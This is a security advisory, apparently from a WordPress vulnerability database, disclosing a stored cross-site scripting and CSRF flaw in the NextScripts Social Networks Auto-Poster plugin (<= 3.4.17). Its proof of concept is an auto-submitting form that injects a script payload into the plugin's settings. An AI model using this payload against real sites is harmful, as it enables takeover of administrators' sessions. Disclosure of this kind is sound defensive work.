NextScripts: Social Networks Auto-Poster <= 3.4.17 - Stored XSS

Sign up to our free email alerts service for instant vulnerability notifications!

Description
The NextScripts: Social Networks Auto-Poster plugin for WordPress is vulnerable to a Persistent XSS attack on the settings screen, due to a lack of sanitation of user input, and lack of Cross-Site Request Forgery token (nonce).
Proof of Concept
If a page with the following FORM in is visited by an administrative user, it will result in a a Persistent XSS attack being triggered. In FireFox, this results in an immediate execution of the XSS payload. In Chrome, the XSS payload will be executed next time the user browses to the settings screen for this plugin.

<form id="form" method="POST" action="http://localhost/wp-admin/options-general.php?page=NextScripts_SNAP.php">
        <input type="hidden" name="nxsMainFromElementAccts" value="wp[0][nName]=<script>alert(1)</script>&wp[0][apWPURL]=&wp[0][apWPUName]=1&wp[0][apWPPass]=1&wp[0][apDoWP]=1&wp[0][apWPMsgTFrmt]=&wp[0][apWPMsgFrmt]="/>
</form>
<script>
        document.getElementById("form").submit();
</script>

Affects Plugin

References

URL https://research.g0blin.co.uk/g0blin-00055/

Classification

Type XSS
OWASP Top 10 A3: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter James Hooker
Submitter Website https://research.g0blin.co.uk
Submitter Twitter g0blinResearch
Views 183
Verified No
WPVDB ID 8008

Timeline

Publicly Published 2015-05-25 (over 2 years ago)
Added 2015-05-26 (over 2 years ago)
Last Updated 2015-05-26 (over 2 years ago)

Copyright & License

Copyright All data and resources contained within this page and this web site is Copyright © The WPScan Team.
License Some of this data may be used for non-commercial purposes, however, any potential commercial usage of this data will require a license. If you would like to inquire about a commercial license please contact us.